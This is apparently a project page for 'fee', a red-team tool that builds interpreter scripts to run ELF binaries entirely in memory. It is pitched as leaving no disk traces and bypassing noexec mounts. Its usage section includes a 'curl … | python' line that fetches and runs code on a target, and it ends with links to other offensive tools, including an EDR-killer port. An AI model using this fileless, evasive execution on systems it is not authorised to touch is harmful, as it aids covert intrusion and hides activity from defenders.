This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs).
This makes it possible to execute binaries without leaving traces on the disk.
The technique used for this is explained here.
With default options for each interpreter, running binaries using fee
does not write to disk whatsoever. This can be verified using tools such as strace
.
fee
also completely ignores and bypasses noexec
mount flags, even if they were set on /proc
.
memfd_create
support)Install this on your host machine using pipx:
$ pipx install fee
… or regular pip:
$ pip install --user fee
You may also clone this repository and run the script directly.
Basic usage: supply the path to the binary you wish to drop:
$ fee /path/to/binary > output.py
You can then pipe this into Python on the target:
$ curl my.example.site/output.py | python
For more information click here.
This repository will be used to add documents, pictures, etc on LEA efforts; Indictments, Seizure…
A cheat sheet for pentesters and researchers about deserialization vulnerabilities in various Java (JVM) serialization…
Short: a Red Team's SIEM. Longer: a Red Team's SIEM that serves two main goals:…
C# port of ZeroMemoryEx's Terminator, so all hail goes to him. Usage You can download…
We delve into the process of setting up a RedELK server, focusing on the critical…
The RedELK client components using Ansible, a powerful automation tool that streamlines the installation and…